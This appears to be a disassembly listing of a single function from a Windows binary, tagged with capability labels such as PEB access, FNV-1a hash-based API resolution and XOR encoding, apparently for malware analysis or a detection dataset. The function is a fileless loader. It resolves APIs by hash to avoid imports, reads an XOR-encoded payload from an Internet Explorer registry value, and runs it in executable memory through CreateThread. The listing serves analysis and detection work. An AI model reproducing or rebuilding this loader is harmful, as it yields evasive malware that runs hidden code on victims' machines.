Function at 0x10004f23
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x64
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
add eax, 0x14
mov dword [esp], eax
cmp ecx, eax
je 0x10005016
mov edx, dword [ecx + 0x10]
test edx, edx
je 0x1000500b
mov eax, dword [edx + 0x3c]
mov esi, dword [edx + eax + 0x78]
mov eax, esi
mov dword [esp + 4], esi
test esi, esi
je 0x1000500b
mov eax, dword [esp + 4]
mov eax, dword [edx + eax + 0xc]
mov bl, byte [edx + eax]
test bl, bl
je 0x1000500b
mov dword [esp + 8], edx
add eax, edx
inc eax
mov edi, 0x811c9dc5
mov edx, ebx
add dl, 0xbf
movzx esi, bl
add bl, 0x20
cmp dl, 0x1a
movzx edx, bl
cmovae edx, esi
movzx edx, dl
xor edx, edi
imul edi, edx, 0x1000193
mov bl, byte [eax]
inc eax
test bl, bl
jne 0x10004f83
cmp edi, 0xa3e6f6c3
mov esi, dword [esp + 8]
jne 0x1000500b
mov eax, dword [esp + 4]
mov edi, dword [esi + eax + 0x18]
test edi, edi
je 0x1000500b
mov eax, dword [esp + 4]
mov ebp, dword [esi + eax + 0x20]
add ebp, esi
lea eax, [esi + 1]
mov dword [esp + 0xc], eax
xor ebx, ebx
mov edx, dword [ebp + ebx*4]
mov al, byte [esi + edx]
test al, al
je 0x10005006
add edx, dword [esp + 0xc]
mov esi, 0x811c9dc5
movzx eax, al
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x10004fe8
cmp esi, 0x53b2070f
mov esi, dword [esp + 8]
je 0x1000501b
inc ebx
cmp ebx, edi
jne 0x10004fd4
mov ecx, dword [ecx]
cmp ecx, dword [esp]
jne 0x10004f44
int3
mov ecx, dword [esp + 4]
mov eax, dword [esi + ecx + 0x24]
add eax, esi
mov ecx, dword [esi + ecx + 0x1c]
add ecx, esi
movzx eax, word [eax + ebx*2]
add esi, dword [ecx + eax*4]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
add eax, 0x14
mov dword [esp + 0xc], eax
cmp ecx, eax
je 0x10005121
mov dword [esp + 8], esi
mov edi, dword [ecx + 0x10]
test edi, edi
je 0x10005115
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
mov eax, edx
mov dword [esp], edx
test edx, edx
je 0x10005115
mov eax, dword [esp]
mov eax, dword [edi + eax + 0xc]
mov bl, byte [edi + eax]
test bl, bl
je 0x10005115
add eax, edi
inc eax
mov edx, 0x811c9dc5
mov bh, bl
add bh, 0xbf
movzx esi, bl
add bl, 0x20
cmp bh, 0x1a
movzx ebx, bl
cmovae ebx, esi
movzx esi, bl
xor esi, edx
imul edx, esi, 0x1000193
mov bl, byte [eax]
inc eax
test bl, bl
jne 0x1000508a
cmp edx, 0xa3e6f6c3
mov esi, dword [esp + 8]
jne 0x10005115
mov eax, dword [esp]
mov eax, dword [edi + eax + 0x18]
mov dword [esp + 4], eax
test eax, eax
je 0x10005115
mov eax, dword [esp]
mov eax, dword [edi + eax + 0x20]
add eax, edi
lea edx, [edi + 1]
mov dword [esp + 0x14], edx
xor ebp, ebp
mov edx, dword [eax + ebp*4]
mov bl, byte [edi + edx]
test bl, bl
je 0x1000510e
add edx, dword [esp + 0x14]
mov esi, 0x811c9dc5
movzx ebx, bl
xor ebx, esi
imul esi, ebx, 0x1000193
mov bl, byte [edx]
inc edx
test bl, bl
jne 0x100050f0
cmp esi, 0xf8f45725
mov esi, dword [esp + 8]
je 0x10005126
inc ebp
cmp ebp, dword [esp + 4]
jne 0x100050dd
mov ecx, dword [ecx]
cmp ecx, dword [esp + 0xc]
jne 0x10005051
int3
mov ecx, dword [esp]
mov eax, dword [edi + ecx + 0x24]
add eax, edi
mov ecx, dword [edi + ecx + 0x1c]
add ecx, edi
movzx eax, word [eax + ebp*2]
add edi, dword [ecx + eax*4]
movsd xmm0, qword [str.RegOpenK]
lea ebx, [esp + 0x3c]
movsd qword [ebx], xmm0
mov dword [ebx + 8], 0x78457965
mov word [ebx + 0xc], 0x41
movsd xmm0, qword [str.ADVAPI32]
lea ebp, [esp + 0x2c]
movsd qword [ebp], xmm0
mov eax, 0x6c6c642e
mov dword [ebp + 8], eax
xor eax, eax
mov byte [ebp + 0xc], al
push ebp
call esi
push ebx
push eax
call edi
mov dword [esp + 4], eax
movaps xmm0, xmmword [str.RegQueryValueExARegClose]
movups xmmword [ebx], xmm0
xor eax, eax
mov byte [ebx + 0x10], al
movsd xmm0, qword [str.ADVAPI32]
movsd qword [ebp], xmm0
mov ecx, 0x6c6c642e
mov dword [ebp + 8], ecx
mov byte [ebp + 0xc], al
push ebp
call esi
push ebx
push eax
call edi
mov dword [esp], eax
movsd xmm0, qword [0x1001d0b0]
movsd qword [ebp], xmm0
mov dword [ebp + 8], 0x79654b
movsd xmm0, qword [str.ADVAPI32]
movsd qword [ebx], xmm0
mov eax, 0x6c6c642e
mov dword [ebx + 8], eax
xor eax, eax
mov byte [ebx + 0xc], al
push ebx
call esi
push ebp
push eax
call edi
mov dword [esp + 0xc], eax
movsd xmm0, qword [str.VirtualA]
movsd qword [ebx], xmm0
mov dword [ebx + 8], 0x636f6c6c
xor eax, eax
mov byte [ebx + 0xc], al
movsd xmm0, qword [str.KERNEL32]
movsd qword [ebp], xmm0
mov ecx, 0x6c6c642e
mov dword [ebp + 8], ecx
mov byte [ebp + 0xc], al
push ebp
call esi
push ebx
push eax
call edi
mov dword [esp + 0x14], eax
movsd xmm0, qword [str.CreateTh]
movsd qword [ebx], xmm0
mov dword [ebx + 8], 0x64616572
xor eax, eax
mov byte [ebx + 0xc], al
movsd xmm0, qword [str.KERNEL32]
movsd qword [ebp], xmm0
mov ecx, 0x6c6c642e
mov dword [ebp + 8], ecx
mov byte [ebp + 0xc], al
push ebp
call esi
push ebx
push eax
call edi
mov dword [esp + 0x20], eax
movaps xmm0, xmmword [str.WaitForSingleObjVirtualF]
movups xmmword [ebx], xmm0
mov dword [ebx + 0x10], 0x746365
movsd xmm0, qword [str.KERNEL32]
movsd qword [ebp], xmm0
mov eax, 0x6c6c642e
mov dword [ebp + 8], eax
xor eax, eax
mov byte [ebp + 0xc], al
push ebp
call esi
push ebx
push eax
call edi
mov dword [esp + 0x1c], eax
movsd xmm0, qword [0x1001d100]
movsd qword [ebp], xmm0
mov dword [ebp + 8], 0x656572
movsd xmm0, qword [str.KERNEL32]
movsd qword [ebx], xmm0
mov eax, 0x6c6c642e
mov dword [ebx + 8], eax
xor eax, eax
mov byte [ebx + 0xc], al
push ebx
call esi
push ebp
push eax
call edi
mov esi, eax
movsd xmm0, qword [0x1001d12f]
movsd qword [ebx + 0x1f], xmm0
movups xmm0, xmmword [0x1001d120]
movups xmmword [ebx + 0x10], xmm0
movups xmm0, xmmword [str.SoftwareMicrosoftInternet_Explorer]
movups xmmword [ebx], xmm0
mov dword [ebp + 8], 0x736564
mov dword [ebp + 4], 0x6f437375
mov dword [ebp], 0x74617453
mov dword [esp + 0x24], 3
xor ecx, ecx
mov dword [esp + 0x10], ecx
lea eax, [esp + 0x18]
push eax
push 0x20019
push ecx
push ebx
push 0x80000001
call dword [esp + 0x18]
test eax, eax
jne 0x100053e5
mov dword [esp + 8], esi
lea esi, [esp + 0x10]
lea edi, [esp + 0x24]
push esi
xor eax, eax
push eax
push edi
push eax
push ebp
push dword [esp + 0x2c]
call dword [esp + 0x18]
test eax, eax
jne 0x100053dd
push dword [esp + 0x10]
call fcn.100053f5
add esp, 4
mov ebx, eax
push esi
push eax
push edi
push 0
push ebp
push dword [esp + 0x2c]
call dword [esp + 0x18]
test eax, eax
jne 0x100053d4
push 0x40
push 0x1000
push dword [esp + 0x18]
push 0
call dword [esp + 0x24]
test eax, eax
je 0x100053d4
mov edi, eax
mov eax, dword [esp + 0x10]
test eax, eax
mov esi, dword [esp + 0x20]
mov ebp, dword [esp + 0x1c]
je 0x100053b1
xor ecx, ecx
xor byte [ebx + ecx], 0x9b
inc ecx
cmp eax, ecx
jne 0x1000539b
xor ecx, ecx
mov dl, byte [ebx + ecx]
mov byte [edi + ecx], dl
inc ecx
cmp eax, ecx
jne 0x100053a6
lea eax, [esp + 0x28]
xor ecx, ecx
push eax
push ecx
push ecx
push edi
push ecx
push ecx
call esi
test eax, eax
je 0x100053d4
push 0xffffffffffffffff
push eax
call ebp
push 0x8000
push 0
push edi
call dword [esp + 0x14]
push ebx
call fcn.100053fe
add esp, 4
push dword [esp + 0x18]
call dword [esp + 0x10]
xor eax, eax
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret